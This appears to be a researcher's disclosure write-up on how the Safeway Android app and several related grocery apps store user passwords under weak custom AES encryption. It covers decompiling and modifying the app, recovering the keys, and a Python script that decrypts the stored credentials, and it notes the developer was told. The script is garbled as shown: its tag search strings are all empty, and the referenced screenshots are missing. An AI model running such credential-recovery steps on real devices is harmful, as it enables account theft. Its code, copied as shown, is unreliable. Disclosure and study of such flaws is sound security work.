Safeway Android App Encryption Flaw

Installing the App

Here's the app I installed, from Google Play.

 

Using the app, I made a test account with these credentials:

Viewing the Locally Stored Password

Using Android Debug Bridge, I connected to the phone and pulled the file storing the credentials locally, as shown below.

Analysis and Recommendations

At this point, the likely conclusion is clear: the Safeway app is insecure, because it stores the password on the phone using custom encryption. As discussed here, passwords should not be stored on the phone at all. Because users re-use passwords, they are very sensitive information and handling them carelessly is a disservice to your customers. Locally stored passwords could be stolen by malware on the phone, or by simply stealing the phone itself. Instead, a random cookie should be stored on the phone, which is useless at any company other than Safeway.

This is the #2 most important security vunerability on mobile devices, according to OWASP.

If a developer is forced to store a password locally, there are far better options, such as the Android Keystore. The Android Keystore can be breached on a rooted phone, so the app should test for this, and refuse to run on a rooted phone.

The remainder of this page merely proves this simple point by explicitly reverse-engineering the encryption used by Safeway, and making a simple Python script that decrypts the password.

Decompiling the Android App

Using apktool, it's easy to decompile the app, as shown below.

Finding the Encryption Code

The local storage used the label user_password, so searching for that string finds a file that handles the password named "LoginPreferences.smali", as shown below.

Reading this file shows that it calls code in another file named "DataEncryptionUtil", as shown below.

Adding Trojan Code

One way to deduce the encryption method is to simply read the code (static analysis), but it's even easier to deduce it by outputting internal parameters, such as the AES secret key, by modifying the app (dynamic analysis).

I added code to put encryption parameters into the log, as shown below.

Recompiling the App

Rebuilding the app with apktool results in an error message, saying an item named "maxButtonHeight" can't be found.

That's easy to solve by just deleting the code that references it, as highlighted in the image below.

Now the app builds without error, and can be signed.

Running the Modified App

After uninstalling the original app, the modified app runs properly on the phone. This is another security flaw--the app should verify its integrity before the server allows it to connect, the way the NFL app does.

I launched the modified app and logged in. The log shows encryption parameters, as shown below.

I also pulled the stored data off the phone again, to get all the information required to understand the process in one place.

Overview of the Encryption Algorithm

The algorothm used here is a common one, and it uses two steps.

Getting the Secret Key

We need a a seed and a salt. Both of these values are stored on the phone, as outlined in green in the image above.

So here's the secret key to decrypt the login name, calculated using Python. As you can see, it matches the key outlined in blue in the image above from the Android log.

Similarly, here's the secret key to decrypt the password:

Decryption Script

Here's a script that recovers the username and password from the data stored on the phone.
from Crypto.Cipher import AES
from pbkdf2 import PBKDF2

infile = raw_input("Input file (from shared_prefs/accountpref.xml): [safeway.xml] ")
if infile == '':
    infile = 'safeway.xml'

with open(infile) as f:
    content = f.readlines()
content = [x.strip() for x in content] 

oneline = ''
for line in content:
  oneline += line

print
print "Here's the data the Safeway app stores on your phone:"
print

s1 = ""
d1 = oneline.find(s1)
d2 = oneline.find("", d1)
user_password = oneline[d1 + len(s1) : d2]
print "user_password: ", user_password

s1 = ""
d1 = oneline.find(s1)
d2 = oneline.find("", d1)
private_userseed = oneline[d1 + len(s1) : d2]
print "private_userseed: ", private_userseed

s1 = ""
d1 = oneline.find(s1)
d2 = oneline.find("", d1)
private_passwordseed = oneline[d1 + len(s1) : d2]
print "private_passwordseed: ", private_passwordseed

s1 = ""
d1 = oneline.find(s1)
d2 = oneline.find("", d1)
private_salt = oneline[d1 + len(s1) : d2]
print "private_salt: ", private_salt

s1 = ""
d1 = oneline.find(s1)
d2 = oneline.find("", d1)
user_login = oneline[d1 + len(s1) : d2]
print "user_login: ", user_login

print
print "Decrypting it yields:"
print

seed = private_userseed
salt = private_salt.decode("Base64")
secret_key = PBKDF2(seed, salt).read(16).encode("hex")
secret_key = secret_key.decode("hex")
iv = private_userseed[::-1]
n = len(iv)
iv = iv[n-16:n]
ciphertext = user_login[0:32].decode("hex")
cipher = AES.new(secret_key, AES.MODE_CBC, iv)
print "Username: ", cipher.decrypt(ciphertext)

seed = private_passwordseed
salt = private_salt.decode("Base64")
secret_key = PBKDF2(seed, salt).read(16).encode("hex")
secret_key = secret_key.decode("hex")
iv = private_passwordseed[::-1]
n = len(iv)
iv = iv[n-16:n]
ciphertext = user_password.decode("hex")
cipher = AES.new(secret_key, AES.MODE_CBC, iv)
print "Password: ", cipher.decrypt(ciphertext)
print
Here's the script recovering my username and password.

Other Identical Apps

The encryption scheme is identical for these apps, and the same script works on locally-stored data.

Albertson's

Vons

Tom Thumb

Pavilions

Randalls

Developer Notification

I notified the developer of this problem on 4-19-17, as shown below.

Re-Test: 7-28-17

I got a newer version of the app:

It still seems to save passwords locally, but the fields have changed. This is probably still vulnerable, but I'll have to repeat the reverse-engineering to crack it.


Posted 4-19-17 by Sam Bowne
Albertson's test added 4-22-17
Updated 7-28-17